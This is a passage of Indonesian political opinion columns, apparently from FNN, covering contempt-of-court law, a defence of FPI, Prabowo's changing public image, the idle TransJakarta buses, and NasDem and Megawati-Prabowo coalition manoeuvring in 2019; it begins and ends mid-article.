1260, There is no greater crime than contempt and disobedience, for all person ought to be subject to the king as supreme and to his officer. Salah satu contoh kasus di tahun 1634 pada James Williamson. James melempar batu kepada hakim yang sedang menjalankan tugasnya di ruang sidang pengadilan. James ketika itu dinyatakan bersalah hanya karena tindak pidana contempt of court. Akibatnya, James kemudian dijatuhi hukuman potong tangan. Potongan tangannya James itu digantungkan di pintu masuk pengadilan sebagai peringatan bagi anggota masyarakat luas. Hingga saat ini, di Inggris ketentuan mengenai contempt of court ini terus diberlakukan. Bahkan, pada tahun 1981, kerajaan Inggris menerbitkan undang-undang yang sangat kuat melindungi pengadilan dari pelbagai bentuk perlakuan yang dinilai dapat merendahkan harkat, martabat dan kehormatannya, yaitu ‘Contempt of Court Act 1981”. Dalam undang-undang ini, ditentukan adanya aturan pertanggungjawaban mutlak strict liability rule. Suatu perbuatan dapat dikategorikan sebagai ‘contempt of court’ yang dapat mengganggu atau mempengaruhi proses peradilan, terlepas dari ada tidaknya niat atau maksud pelaku untuk itu. Undang-undang ini mengatur secara ketat mengenai contempt in the face of the court, ‘contempt by the jurors, dan yang terpenting adalah contempt by publication. Untuk itu, dalam penerapannya, pemberlakuan Contempt of Court Act 1981 sangat berpengaruh pada pelaksanaan prinsip kebebasan pers. Bahkan di India, melalui ”Contempt of Court Act of 1971” mengatur larangan media massa mempublikasi berita yang merendahkan harkat dan martabat pengadilan sebagai suatu tindak pidana. Dalam sistem peradilan, dibedakan antara civil contempt dan criminal contempt, yaitu; a. Civil Contempt sebagai willful disobedience to any judgment, decree, direction, order, writ or other process of a court or wilfull breach of an undertaking given to a court; dan b. Criminal Contempt sebagai the publication of any matter or the doing of any other act whatsoever which: (i) Scandalises or tends to scandalize, or lowers or tends to lower the authority of, any court; or (ii) Prejudices, or interferes or tends to interfere with the due course of any judicial proceeding; or (iii) interferes or tends to interfere with, or obstructs or tends to obstruct, the administration of justice in any other manner”. Sementara itu di Hongkong tidak kalah kerasnya perlindungan kepada hakim dan lembaga peradilan. Para hakim pada semua tingkatan di Hongkong juga diberi kewenangan untuk menjatuhkan sanksi secara langsung, dalam hal terjadi tindakan yang merendahkan martabat di pengadilan (contempt in the face of the court). Tindakan yang dipandang merendahkan martabat pengadilan seperti, insult a judge or justice, witness or officers of the court, interrupts the proceedings of the court, interfere with the course of justice. Bahkan tindakan seperti penggunaan handphone atau alat perekam tanpa izin (misbehaves in court) bisa kenakan sanksi pidana. Sedangkan di Amerika Serikat, pengaturan tentang contempt of court”dapat ditemukan dalam berbagai yurisprudensi dan perundang-undangan. Termasuk di Federal Rule of Criminal Procedure 42 dan USC 18. Contempt dapat dilakukan in the face of the court atau dilakukan secara lansgung yang disebut sebagai direct contempt of court. Namun contempt bisa juga dilakukan di luar pengadilan, yang disebut “indirect contempt of court”. Misalnya, tindakan dari pihak-pihak yang sangaja tidak menaati perintah atau putusan pengadilan. Gambaran pengaturan beragam tentang contempt of court di negara-negara yang dijelaskan di atas, menunjukan bahwa betapa pentinnya aturan hukum yang ketat terkait tindakan penghinaan terhadap pengadilan. Sudah saatnya DPR segera mengesahkan Rancangan Undang-Undang (RUU) Tindak Pidana Penyelenggaraan Pengadilan (Contempt of Court). Apalagi RUU tersebut sudah masuk dalam Program Legislasi Nasional (Prolegnas) 2015- 2019. Pengesahan RUU contempt of court ini mejadi penting bagi pemerintah dan DPR. Tujuanya, untuk memberikan jaminan kebebasan dan kemandirian bagi para hakim dan lembaga peradilan dalam menjalankan fungsinya menegakkan hukum dan keadilan. Yang pada akhirnya marwah dan martabat pengadilan tetap terjaga dan dihormati oleh masyarakat.

FPI tidak Butuh Pujian

Oleh Mangarahon Dongoran (Wartawan Senior) Jakarta, FNN - Tulisan saya ini berawal dari postingan Darmaningtyas. Dari kalimat postingannya itu, kelihatan sekali ia seorang pembenci Front Pembela Islam (FPI) dan juga benci Islam. "Kalau tidak butuh pujian ya tidak usah pakai kaos FPI dong. Kalau berbuat kebaikan dengan mengenakan kaos organisasi kan secara langsung butuh pujian bahwa FPI itu peduli, " demikian kalimat dalam postingannya itu. Postingan tersebut pun mendapat hujatan dari nitizen. Mereka menghujat penulis kalimat tersebut, dan mengatakannya tidak mengerti Islam dan benci agama Islam. Nitizen pun membela FPI habis-habisan. Saya juga menuliskan komentar. Rasanya ingin ikut-ikutan menghujat sang pembenci FPI dan umat Islam itu. Akan tetapi, saya tidak menghujat. Saya mengomentarinya dengan fakta-fakta yang saya lihat di lapangan. Sebagai wartawan, saya sudah malang-melintang meliput bencana alam. Hampir semua relawan menggunakan identitas, baik berupa kaos, topi atau paling kecil pakai pita. Bahkan, ketika saya meliput peristiwa tsunami Banda Aceh Darussalam, kantor membekali saya dengan rompi bertuliskan PERS di bagian belakang. Tulisannya besar, meski saya tidak pernah memakainya saat meliput bencana di Aceh. Sebenarnya jika dalam keadaan darurat, rompi waktu itu bisa digunakan sebagai tempat makanan, minuman, senter dan peralatan lainnya, selain di tas rangsel. Rompi tersebut kini masih tersimpan di lemari. Demikian juga media lainnya, terutama televisi. Media asing lebih mencolok lagi. Mobil yang mereka gunakan pun ditempeli tulisan PRESS yang ditambahi nama medianya. Paĺang Merah Indonesia (PMI), misalnya jelas dengan atributnya. Mereka menggunakan atribut PMI bukan bermaksud agar mendapatkan pujian. Demikian juga TNI dan Polri yang menggunakan seragam, bukan ingin dipuji. "Walau pake kaos, FPI tidak butuh pujian. Buktinya saat tsunami di Aceh berbulan-bulan FPI di sana dengan kaosnya, tapi mereka tidak butuh pujian lewat media. Bahkan, Habib Rizieq satu bulan di sana dan tidur di tenda yang didirikan di areal Taman Makam Pahlawan Kota Banda Aceh, tak ada yang publikasikan. Mereka tak butuh pujian. Padahal, relawan FPI yang diterjunkan dibagi menjadi kelompok pencari mayat yang sdh busuk karena sdh berminggu-minggu, dan mereka bersama relawan dari pemerintah, mengkafani, menyolatkan dan menguburkan. Tak ada pemandian mayat karena (maaf sudah busuk). Saya tahu, karena saya wartawan yang ikut meliput di Aceh (atas penugasan kantor). Beritanya juga ada, termasuk berita (yang dibuat teman kantor yg ditugaskan berikutnya), tentang bau harum kuburan, yang ternyata kuburan seorang wanita penghafal Al Qur'an yang mayatnya ditemukan oleh relawan FPI dalam keadaan utuh dan tidak bau walau sudah dua minggu meninggal dunia akibat tsunami," tulis saya mengomentari si pembenci FPI dan umat Islam itu. Saya tahu Habib Rizieq menginap di tenda yang didirikan di TMP itu. Bukan cerita, tetapi saya sempat berbincang-bincang dengan Rizieq dan Ustaz Ahmad Sobri Lubis (sekarang Ketua Umum FPI). Ya, FPI tidak butuh pujian dan publikasi. Toh, tanpa itu pun pengagum organisasi masyarakat (Ormas) Islam tersebut semakin banyak. FPI semakin terkenal dan dikenal masyarakat, tidak hanya kaum muslim, tetapi juga non muslim. FPI semakin dikenal seantero tanah air, dan bahkan di dunia. Jika ada yang membecinya itu wajar, karena sepak terjangnya yang semakin mengakar di tengah masyarakat. Jika satu orang membencinya, biasanya pengagumnya justru bertambah banyak. FPI semakin terkenal sejak aksi damai 2 Desember 2016 dan diperingati dengan sebutan Reuni 212. Aksi damai yang benar-benar super damai, karena diikuti 13 juta manusia tanpa ada kekerasan. Imam Besar Habib Rizieq Shihab langsung mengomandoi aksi yang akhirnya memenjarakan Basuki Tjahaya Purnama alias Ahok. Bahkan, HRS semakin dikagumi sejak peristiwa aksi 4 November 2016, karena meski dibombardir dengan gas air mata, ia tetap memimpin aksi dari mobil komando. Padahal, sejumlah tokoh yang ada di atas mobil, seperti Ustaz Arifin Ilham (almarhun), tumbang dan harus dilarikan ke rumah sakit untuk mendapatkan perawatan akibat sesak napas terkena gas air mata. FPI tidak butuh pujian. Bahkan, di saat izinnya habis petinggi FPI santai saja menghadapinya. Tidak kelihatan rasa cemas dan khawatir jika pemerintah tidak memperpanjang izinnya, bahkan ancaman pelarangan yang dikeluarkan oleh Presiden Joko Widodo. "Kami lebih fokus dalam membela umat. Persoalan izin itu kecil, dibanding masalah yang dihadapi umat," kata Ketua Umum FPI KH Ahmad Sobri Lubis. FPI tidak butuh pujian. FPI bukan anti-Pancasila dan NKRI. FPI justru sangat Pancasialis dan pendukung tegaknya NKRI. Faktanya, FPI sangat getol berdakwah terhadap bahaya komunis. Jelas, paham komunislah yang anti-Pancasila, karena komunis tidak mengakui adanya Tuhan. Sedangkan sila pertama Pancasila adalah, "Ketuhanan Yang Maha Esa." Dalam beberapa kesempatan mengikuti pengajian di Markas FPI, di Jalan Petamburan, Tanah Abang, Jakarta Pusat, saya belum pernah mendengarkan ucapan dari Habib Rizieq maupun petinggi FPI lainnya agar mengganti Pancasila dengan ideologi lain. Saya juga tidak pernah mendengarkan ucapannya agar mengganti NKRI dengan yang lain. Kalaupun Habib Rizieq dan petinggi FPI menyuarakan Indonesia bersyariah, itu hanya ditujukan agar umat Islam menjauhi maksiat. Bersyariah maksudnya, jangan sampai menjual minuman keras di pinggir jalan, karena akan merusak generasi muda. Bersyariah maksudnya membentengi anak bangsa, khususnya umat Islam, terutama generasi mudanya dari narkoba. Bersyariah maksudnya menjauhkan umat Islam dari tempat maksiat, pelacuran, perjudìan, korupsi, suap, dan berbagai penyakit masyarakat lainnya yang bertentangan dengan hukum positif (KUHP, UU Anti Korupsi), apalagi dengan hukum Islam. Akan tetapi, Indonesia bersyariah itulah yang sengaja dihembuskan musuh Islam, khususnya musuh FPI, sebagai upaya menggantikannya dari Pancasila dan NKRI. Musuh FPI sangat khawatir dengan dakwah dan kampanye Indonesia bersyariah. Mereka khawatir, jika itu terlaksana, maka bisnisnya akan hancur. Bisnis minuman keras, bisnis narkoba, bisnis dunia esek-esek mereka akan lenyap seketika. Maka, mereka pun melakukan lobi habis-habisan kepada penguasa, baik melalui partai politik tertentu, aparat penegak hukum, dan bahkan preman agar FPI dibubarkan. Oleh karena itu, jika dulu bertebaran spanduk menolak FPI, cabut FPI, maka sekarang spanduk kembali bertebaran. Contoh bunyi spanduk adalah, "Masyarakat Jakarta Barat Tolak Perpanjangan Izin FPI." Spanduk konyol yang menjadi bahan tertawaan, termasuk tertawaan orang gila yang ikut dalam pemilihan presiden yang baru lewat. Menjadi bahan tertawaan, karena menyebut masyarakat satu daerah. Padahal, yang membuat spanduk itu adalah suruhan yang mendapatkan bayaran. Spanduk dibuat segelintir orang. Kalau mau balas, bisa saja orang FPI membuat spanduk tandingan. Bunyinya, "Masyarakat Indonesia, khususnya umat Islam dukung perpanjangan izin FPI." Tetapi, FPI tidak melakukannya. Sekali lagi petinggi FPI, pengurus, anggota dan simpatisannya santai saja dalam urusan izin itu. **

Prabowo Setelah Dicerca Habis, Kini Dipuja Habis

Oleh Asyari Usman Jakarta, FNN - Lucu sekali. Campur mau muntah. Para tokoh dan buzzer 01 tidak lagi menjelek-jelekkan Prabowo dan Partai Gerindra. Sebelum 13 Juli 2019, Prabowo diejek dan diperolok-olok. Prabowo dipojokkan dan dihina. Ada saja yang menulis panjang atau sekadar status pendek tentang reputasi Prabowo. Prabowo disebut penculik. Disebut haus kekuasaan. Dikatakan tak layak memimpin karena keluarganya saja berantakan; mana mungkin memimpin negara. Prabowo disebut temparental. Tukang gebrak meja. Suka emosi. Dan seterusnya. Banyak lagi. Ada yang memyoroti lahan HGU yang sangat luas milik Prabowo. Karena itu, omong kosong dia berbicara soal rakyat miskin. Pokonya, para petinggi 01 habis-habisan mencela dan memojokkan Prabowo. Tidak ada sama sekali kebaikan Prabowo. Bahkan, sempat didengungkan bahwa Prabowo bisa ditangkap kalau dia begitu dan begini. Banyak buzzer 01 yang mengaitkan Prabowo dengan kerusuhan 21-22 Mei, menyusul pengumuman hasil pilpres oleh KPU. Prabowo maju ke MK pun dicerca. Dihina sampai kandas. Prabowo diejek sebagai “Presiden Kertanegara” (merujuk rumah Prabowo di Jalan Kertanegara). Sekarang, semua berubah total. Setelah pertemuan Jokowi-Prabowo di Lebak Bulus (13 Juli 2019) dan pertemuan Megawati-Prabowo di Jalan Teuku Umar (24 Juli 2019), semua berbalik. Prabowo dipuja dan dipuji. Label temparamental berganti negarawan. Sebutan tak becus berubah menjadi patriot. Prabowo menjadi “rising star” (bintang tanjak). Bagi 01. Dia disebut seorang nasionalis sejati. Hanya saja selama ini dia ditunggangi oleh kelompok Islam radikal. Sekarang Ketum Gerindra, bagi 01, berubah menjadi “New Prabowo”. Harapan baru untuk stabilitas nasional. Dia dirangkul dengan harga berapa pun. Kalau perlu dengan mengorbankan siapa saja di kubu 01 yang tak rela menerima Prabowo. Queen-maker 01, Bu Megawati, memberikan gestur yang sangat meyakinkan bagi Prabowo. Ada yang menduga, Bu Mega siap meneken “blank cheque” (cek tak berbatas) untuk Prabowo. Cek itu akan diisi sendiri oleh Prabowo. Terserah Prabowo berapa banyak porsi kekuasaan yang dia inginkan. Silakan ambil kursi apa saja yang dia mau. Tak perduli apakah Surya Palah akan cukur habis brewoknya atau tidak. Tak perduli juga apakah Cak Imin akan memimpin kudeta Nahdhiyyin atau kudeta apa saja. Dan, memang tak mungkin ada yang berani kudeta walaupun kursi kabinet mereka diganti dengan bangku warungan. Begitulah gambaran tentang sambutan yang diberikan kepada Prince of Hambalang, Prabowo Subianto. Pangeran yang akan menyelamatkan Indonesia dari krisis besar. “Mungkinkah begitu?” tanya seekor kelelawar kepada katak-katak yang sedang mabuk menyaksikan drama kontemporer karya grup teater BIG BIN. Pertanyaan yang naif. Katak yang tak mabuk saja, tak bakalan tahu jawabannya. Apatah lagi katak mabuk yang ditanya oleh kelelawar. Tak mungkin. Karena mereka sama-sama korban penipuan. (Penulis adalah wartawan senior)

Bangkai Zhong Tong, Hantui Jokowi

Oleh Dimas Huda (Wartawan Senior) Jakarta, FNN - Gara-gara Anies Rasyid Baswedan dirisak, para pendukung Gubernur DKI Jakarta mengapungkan kembali kasus pembelian bus TransJakarta. Foto-foto ratusan bus yang teronggok di Bogor belakangan ini bertabur mewarnai jagad maya. Bus-bus ini adalah produk bermasalah hasil pembelian Pemprov DKI Jakarta di era Joko Widodo-Basuki Tjahaja Purnama. Anies menjadi sasaran bully di media sosial terkait instalasi bambu Getah Getih di Bundaran HI. Karya seni karya Joko Avianto yang menghasbiskan duit Rp500 juta untuk menyambut Asian Games 2018 itu pada 17 Juli lalu dibongkar karena sudah mulai lapuk. Rupanya, bagi para pecinta rival Anies, ini menjadi pintu masuk untuk merisak gubernur pengganti Basuki alias Ahok itu. Nah, gara-gara itu, banyak juga warganet yang membela Anies. Salah satunya pemilik akun twitter bernama Irene (@IRN Official). Dia mengungkap bus mangkrak itu dalam akunnya pada 20 Juli. Di akun tersebut, ia menuliskan, "Dari kemaren itu anak kolam masih aja nyinyirin seni bambu Anies Baswedan sampe seluruh kader PSI partai sok iyeh pada ikutan nge-bully Anies. Lah, ini si Ahok buang-buang busway lu gak blow up. Seluruh busway bentuk gini belian si Ahok jadi bangke, berapa puluh T tuh duit dibuang." Akun tersebut melampirkan sebuah video yang memperlihatkan kondisi bus Transjakarta yang sudah jadi rongsok. Rupanya, sekonyong-koyong gayung pun bersambut. Sejumlah media memberitakan Pemerintah Provinsi (Pemprov) DKI Jakarta berniat membawa masalah tersebut ke ranah hukum. Melalui Biro Hukum, Pemrov menggugat PT Putera Adi Karyajaya, perusahaan penyedia bus yang memenangkan tender kala itu. Soalnya, Pemprov DKI sudah membayar uang muka sekitar Rp110 miliar untuk pengadaan bus itu. Berdasarkan laporan hasil pemeriksaan (LHP) Badan Pemeriksa Keuangan (BPK), nominal tersebut harus dikembalikan oleh pihak ketiga lantaran perjanjian pengadaan dengan pihak ketiga telah dinyatakan batal demi hukum. Perusahaan diminta mengembalikan 20% dari uang muka yang sudah diterima. "Kita diminta untuk meminta kepada para pihak ketiga untuk mengembalikan uang muka yang sudah disetorkan, yang sudah ditarik oleh mereka," jelas Kepala Dinas Perhubungan DKI Jakarta, Syafrin Liputo, kepada CNBC Indonesia, Jumat (26/7). "Kami sudah menyampaikan surat ke Biro Hukum. Sedang dalam proses. Saya belum dapat laporannya ada berapa tergugat," lanjutnya. Syafrin menegaskan pada kasus ini Pemprov DKI berpedoman hasil audit BPK. BPK sendiri sudah memberi rekomendasi terhadap LHP yang sudah di tangan Pemprov DKI. Menurut dia, selama ini, upaya penagihan sudah beberapa kali dilakukan Pemprov DKI. Namun, hasilnya masih nihil, apalagi perusahaan-perusahaan penyedia bus TransJakarta telah dinyatakan pailit. "Sesuai rekomendasi BPK, ini kita laporkan ke biro hukum untuk ditindaklanjuti," kata Sjafrin. Sekadar mengingatkan, pada 2013, Pemprov DKI melakukan pengadaan bus TransJakarta sebanyak 656 unit dalam 14 paket lelang dengan nilai transaksi Rp1,1 triliun. Empat paket lelang sebanyak 125 unit senilai Rp564,93 miliar telah dibayarkan, sedangkan sisanya 531 unit dimasukkan ke dalam 10 paket lelang dan baru dibayarkan oleh Pemprov DKI sebesar 20%. Belakangan, Pemprov DKI menolak melunasi 531 unit armada bus Transjakarta itu karena dinilai bermasalah. Ratusan unit bus yang didatangkan dari China tersebut terindikasi korupsi, karena ada penggelembungan anggaran. Kemudian, ada sampel mesin berkarat pada 14 unit bus dan diduga merupakan barang bekas. Udar Pristono, Kepala Dinas Perhubungan DKI pada 2013, kemudian menjadi terpidana kasus ini. Monumen Saat ini, ratusan bus TransJakarta hasil pengadaan tahun anggaran 2013 itu teronggok di lahan depan Rumah Sakit Karya Bakti Pertiwi, Jalan Raya Dramaga, Bogor. Menurut Dinas Perhubungan DKI Jakarta, totalnya mencapai 483 unit bus. Laporan resmi Komisi Pengawas Persaingan Usaha (KPPU), mencatat PT Putera Adi Karyajaya salah satu terlapor dalam Perkara Nomor 15/KPPU-I 2014 tentang Dugaan Pelanggaran Undang-Undang Nomor 5 Tahun 1999 terkait Pengadaan Bus TransJakarta (Medium Bus, Single Bus, dan Articulated Bus) Tahun Anggaran 2013 di DKI Jakarta. PT Putera Adi Karyajaya, hanya satu dari 19 perusahaan yang menurut putusan KPPU terbukti dalam persekongkolan tender secara horizontal dan vertikal. Sehingga wasit persaingan usaha memberikan hukuman denda kepada pelaku pengadaan bus TransJakarta, termasuk PT Putera Adi Karyajaya, pada September 2015. KPPU memutuskan para peserta tender melanggar Pasal 22 UU 5 Tahun 1999 yang berbunyi: Pelaku usaha dilarang bersekongkol dengan pihak lain untuk mengatur dan atau menentukan pemenang tender sehingga dapat mengakibatkan terjadinya persaingan usaha tidak sehat. Saat Udar baru menjadi tersangka pada 2014, Koordinator Traffic Demand Management (TDM), Ahmad Syafrudin, menilai kasus ini tidak lepas dari kebijakan hulu. Dokumen pengadaan barang dan jasa yang bernilai di atas Rp1 triliun pasti diketahui Gubernur DKI Jakarta Jokowi dan Wagub Ahok. "Tidak mungkin proses tender sebesar itu tidak diketahui gubernur dan wakil gubernur," katanya. Pengadaan bus Transjakarta dan BKTB sebagai salah satu program unggulan ibu kota seharusnya mendapat pengawasan intensif dari pimpinan daerah. Apabila ada tim pengawas maupun gubernur dan wakil gubernur yang mengawasi proses pengadaan bus, mulai dari kegiatan lelang tender, maka tidak akan ada komponen bus yang berkarat. Ia menengarai Jokowi-Basuki sengaja melakukan pembiaran proses tender berjalan begitu saja. Dengan itu, maka ada pembiaran terjadinya pelanggaran hukum. Target pengadaan bus itu terbilang cepat dengan jumlah bus yang fantastis pula. Pada tahun 2014 itu, Jokowi-Ahok menargetkan pengadaan bus TransJakarta hingga 1.000 unit dan BKTB 3.000 unit. Dengan keadaan yang terdesak itu, proses pengadaan bus tidak sempurna dan terjadi penyalahgunaan anggaran. Anggaran pengadaan bus itu, mencapai 2% dari total APBD DKI 2013, yang mencapai Rp50,1 triliun. Pengadaan ribuan bus itu telah dirancang di DPRD DKI, bersama satuan kerja perangkat daerah (SKPD) terkait, serta para pengusaha. Itu sebabnya, Direktur Investigasi dan Advokasi Forum Indonesia untuk Transparansi Anggaran (FITRA), Uchok Sky Khadafi, menilai kasus korupsi ini tidak mungkin hanya dilakukan pejabat eselon III. Uchok menyebut dua tersangka itu sebagai "boneka" saja. Kini, sampah ratusan bus itu sudah menjadi monumen tentang keserakahan dan keteledoran pejabat DKI Jakarta masa lalu. Semoga saja, penyakit itu tak menular di era kini. Rakyat bisa dibohongi, tapi bus-bus itu menjadi saksi bisu.

Nasdem Mau Menjadi Oposisi, yang Benar Saja?

Oleh Hersubeno Arief (Wartawan Senior) Jakarta, FNN - Wartawan senior dan anggota Dewan Redaksi Media Group Saur Hutabarat Kamis (25/7) membuat sebuah tulisan menarik tentang pertemuan Megawati-Prabowo. Kesimpulan artikel berjudul “Megawati Ketemu Prabowo” itu berada di akhir tulisan. “Jika Gerindra dibawa PDIP masuk ke pemerintahan Jokowi jilid II, dan Jokowi menggunakan hak prerogatif menyetujuinya, semua itu sah secara konstitusional. “ “Bila itu yang terjadi, kiranya juga bagus bagi demokrasi, bagi tegaknya checks and balances, bila ada partai pengusung Jokowi yang berada di luar kabinet. Inilah kawan sejati yang memilih dari parlemen mengontrol kawan yang berkuasa di pemerintahan.” “Adakah partai macam itu? Bukan mustahil Partai NasDem mengambil pilihan itu.” Disampaikan dengan argumen yang cukup kuat, tanpa nada menggugat, artikel itu bisa dilihat sebagai sebuah sikap resmi dari Big Bos Media Group sekaligus Ketua Umum Partai NasDem Surya Paloh (SP). Sebagai seorang petinggi Media Group, mantan wartawan senior majalah Tempo itu adalah salah satu orang dekat (inner circle) SP. Dia paham betul cara berpikir dan apa yang dimaui SP. Jadi apa yang dia pikirkan dan disampaikan ke publik dipastikan tidak jauh berbeda dan tidak mungkin bertentangan dengan sikap resmi yang akan diambil partai. Apa yang dipikirkan oleh SP, itulah yang dia tuliskan. Apalagi tulisan itu dimuat di harian Media Indonesia corong resmi dari Partai NasDem Gagasan NasDem menjadi oposisi yang disampaikan Saur, sesungguhnya tidaklah terlalu mengejutkan. Publik bisa dengan mudah menangkap: SP tidak happy dengan acara makan siang Megawati-Prabowo. Tanda-tandanya sangat kuat dan mudah dibaca. SP sebelumnya bertemu dengan tiga orang ketua umum partai koalisi Jokowi (Golkar, PPP, dan PKB), tanpa wakil PDIP. Dia juga bertemu dan makan siang dengan Gubernur DKI Anies Baswedan. Pertemuan itu dihelat bersamaan dengan makan siang Megawati-Prabowo. Semua itu adalah signal-signal politik yang ditujukan kepada Jokowi dan Megawati. Ketika gagasan itu disampaikan secara eksplisit melalui sebuah opini di media resmi, masalahnya menjadi lain. SP telah menyampaikan isyaratnya secara lebih tegas, tidak tersamar, dalam bahasa yang terang, namun belum menjadi sikap resmi partai yang dipublikasikan ke publik. Kekecewaan SP sesungguhnya sangat wajar. Sebagai partai koalisi pendukung Jokowi, NasDem berhak kecewa. Setelah berjibaku mendukung Jokowi melalui kontestasi berdarah-darah, tetiba Jokowi dan PDIP malah mengajak lawan mereka bergabung ke dalam pemerintahan. Apalagi bila nanti jatah kursi yang diberikan kepada Gerindra lebih banyak, lebih penting, dan lebih basah dibanding parpol lainnya. Lengkap sudah. Pertama, praktik politik yang dilakukan oleh Jokowi dan Megawati tidak wajar dalam sebuah proses demokrasi. Benar seperti dikatakan Saur, dengan mengajak Gerindra bergabung ke dalam pemerintahan, akan menimbulkan problem serius pada proses ketatanegaraan kita. Di negara demokrasi yang benar, menganut pembagian kekuasaan. Eksekutif, legislatif, dan yudikatif (trias politica). Dengan bergabungnya Gerindra, koalisi pemerintah akan menguasai lebih dari 70 persen kursi di parlemen. Hal itu jelas akan menimbulkan implikasi serius pada praktik demokrasi. Mengganggu proses checks and balances Kedua, kehadiran Gerindra dipastikan akan mengganggu dan mengurangi jatah kursi parpol pendukung Jokowi. Tidak perlu malu lah membicarakan masalah ini. Absah dan halal. Kendati soal ini berkali-kali dibantah, dan SP selalu menyatakan mendukung Jokowi tanpa syarat, tapi alasan itu terlalu naif. Hanya lips service. Basa-basi seorang politisi. Di belakang layar dipastikan saat ini tengah terjadi tawar menawar, tarik menarik, dan rebutan pos-pos kementerian, jabatan yang penting dan strategis. Koran Tempo misalnya melaporkan, saat ini PDIP dan NasDem tengah bersitegang memperebutkan posisi Jaksa Agung. Tidak ada salahnya dan sangat absah dukungan politik yang diberikan oleh NasDem harus mendapat kompensasi yang setimpal. Pada awal Kabinet Jokowi Jilid I NasDem mendapat jatah tiga kursi menteri dan Jaksa Agung. Jatah itu berkurang satu, ketika Jokowi melakukan reshufle kabinet jilid I. Menko Polhukam pos yang ditempati oleh kader Nasdem Tedjo Edhy Purdijatno diganti Luhut Binsar Panjaitan. Ketiga, sudah lama diketahui SP dan Prabowo mempunyai hubungan yang tidak harmonis. Sepanjang proses pilpres berjalan, Prabowo selalu menolak diwawancarai stasiun Metro TV milik SP. Dalam berbagai kesempatan Prabowo secara demonstratif menyatakan ketidaksukaannya terhadap Metro TV di depan publik. Perseteruan ini tampaknya bisa kita runut dari kasus meledaknya bom di sebuah rumah susun Tanah Tinggi, Jakarta 18 Januari 1998. Bom tesebut meledak di kamar yang disewa oleh aktivis Partai Rakyat Demokratik (PRD). SP bersama kakak beradik Jusuf dan Sofyan Wanandi (CSIS) dituding terlibat dalam kasus itu. SP sempat diperiksa oleh aparat militer. Saat itu Prabowo menjabat sebagai Danjen Kopassus dan dua bulan kemudian diangkat menjadi Pangkostrad. (Mungkinkah NasDem Oposisi) Pertanyaannya sekarang : Seberapa serius “ancaman“ menjadi oposisi itu? Jawabannya sangat tergantung bagaimana Jokowi, terutama Megawati meresponnya. Manuver SP sampai saat ini boleh dibilang masih belum serius. Hanya warning yang tidak boleh diabaikan begitu saja. Dalam silat hanya jurus kembangan. Bukan serangan yang mematikan. Harus dipahami yang kecewa dengan masuknya Gerindra bukan hanya SP. Para ketua umum parpol pendukung lainnya juga sangat kecewa. Bahkan lebih khawatir. Ngeri-ngeri sedap karena jatah kursinya akan berkurang. Bukan tidak mungkin perannya di pemerintahan Jokowi juga diambil-alih Gerindra. Jangan lupa perolehan suara Gerindra pada pemilu lalu berada di urutan kedua di bawah PDIP. Koalisi PDIP-Gerindra akan menjadi duet yang mendominasi pemerintahan Jokowi. Ada beberapa alasan mengapa SP tidak mungkin begitu saja mengambil langkah secara frontal meninggalkan Jokowi, dan terutama Megawati. Pertama, hubungan SP-Megawati telah berlangsung cukup lama. Bahkan sudah sejak pemerintahan Orde Baru. Ketika Megawati menjadi salah satu oposisi utama Soeharto. SP selalu mesuport Megawati. Hubungan ini cukup menarik. SP juga dikenal mempunyai hubungan dekat dengan putra-putri Soeharto. Rosano Barack adik ipar SP adalah salah satu petinggi di Bimantara. Perusahaan itu dimiliki Bambang Trihatmodjo putra Soeharto. Apakah mungkin hanya gegara bergabungnya Prabowo ke pemerintahan , membuat SP dan Megawati melupakan persahabatan lama yang sudah terjalin. Kedua, sebelum mendirikan NasDem, SP adalah politisi Golkar. Para kader partai berlambang pohon beringin ini tidak terbiasa berada di kubu oposisi. Habitat mereka selalu berada dalam kekuasaan. Kebetulan pula sejak berdiri pada tahun 2011 dan ikut pemilu pertama kali pada tahun 2014, Nasdem langsung bergabung menjadi partai penguasa. Mereka menjadi salah satu parpol pengusung Jokowi-Jusuf Kalla. Ketiga, SP adalah politisi sekaligus pengusaha. Berada di luar pemerintahan tidak hanya membuat posisi NasDem akan kesulitan bermanuver, juga dipastikan berdampak tidak baik bagi kerajaan bisnis SP. Peran SP di NasDem sangat sentral. Eksistensi NasDem tidak lepas dari topangan hasil bisnis SP. Meminjam kalimat yang pernah diucapkan Prabowo, kondisi NasDem saat ini “Akan timbul tenggelam bersama SP.” Dengan kalkulasi semacam itu, sulit membayangkan SP akan mengambil langkah frontal: MENJADI OPOSISI! SP saat ini sedang merajuk saja. Semuanya sangat bergantung bagaimana Jokowi dan —sekali lagi— terutama Megawati menyikapinya. Kita tingal menunggu apakah jargon: A friend in need is a friend indeed, teman sejati adalah teman di waktu susah dan senang, masih berlaku juga di dunia politik. End

Poros Megawati-Prabowo Akhiri Petualangan Trio Wekwek : Hendro, Luhut & Gories

Oleh Luqman Ibrahim Soemay Jakarta, FNN - Pertemuan Jokowi dengan Prabowo di Stasiun MRT Lebak Bulus menandai babak baru garis politik Jokowi. Dari Lebak Bulus dilanjutkan dengan pertemuan Teuku Umar antara Megawati dengan Prabowo. Dua pertemuan ini menandai lahirnya poros politik baru yang tidak lagi mengandalkan trio Abdullah Mahmud Hendropriyono, Luhut Binsan Pandjaitan dan Gories Mere. Saya namakan saja mereka bertiga dengan sebutan “Trio Wekwek”. Trio Wekwek selama ini menjadi arsitek utama garis politik dan kebijakan Jokowi, khususnya dalam lima tahun terakhir. Garis politik yang sengaja, bahkan terang-terangan membenturkan pemerintah Jokowi dengan kelompok Islam kanan atau yang bukan Nahdatul Ulama (NU). Trio Wekwek yang selama ini selalu dan selalu memframing wajah Islam Indonesia identik dengan Islam terorisme, Islam radikalisme dan Islam intoleransi. Mencermati para aktor yang terlibat di pertemuan Stasiun MRT Lebak Bulus dan Teuku Umar, yaitu Kepala BIN Budi Gunawan dan Seskab Pramono Anung, Puan Maharani, Prananda Prabowo dan Sekjen PDIP Hasto Kristiyanto, maka dipastikan Poros Teuku Umar yang menjadi arsitek utama dua pertemuan tersebut. Shohibul hajatnya adalah Teuku Umar, sebutan untuk kediaman Megawati. Tentu saja peran yang dimainkan Budi Gunawan dan Pramono Anung adalah melaksanakan perintah Megawati Soekarnoputri. Alhamdulillaah tugas dari Ketua Umum PDIP tersebut bisa dilaksanakan dengan baik, bahkan meraih sukses besar. Prabowo mau dan bersedia berunding dengan Jokowi, namun hanya melalui satu pintu, yaitu Jalan Teuku Umar. Tidak lagi melalui Trio Wekwek. Publik, khususnya pendukung Prabowo belum lupa. Hanya berselang tiga hari setelah pelaksanaan Pemilihan Presiden 17 April 2019, Luhut menawarkan diri bertemu Prabowo. Luhut mengklaim diri sebagai utusan khusus 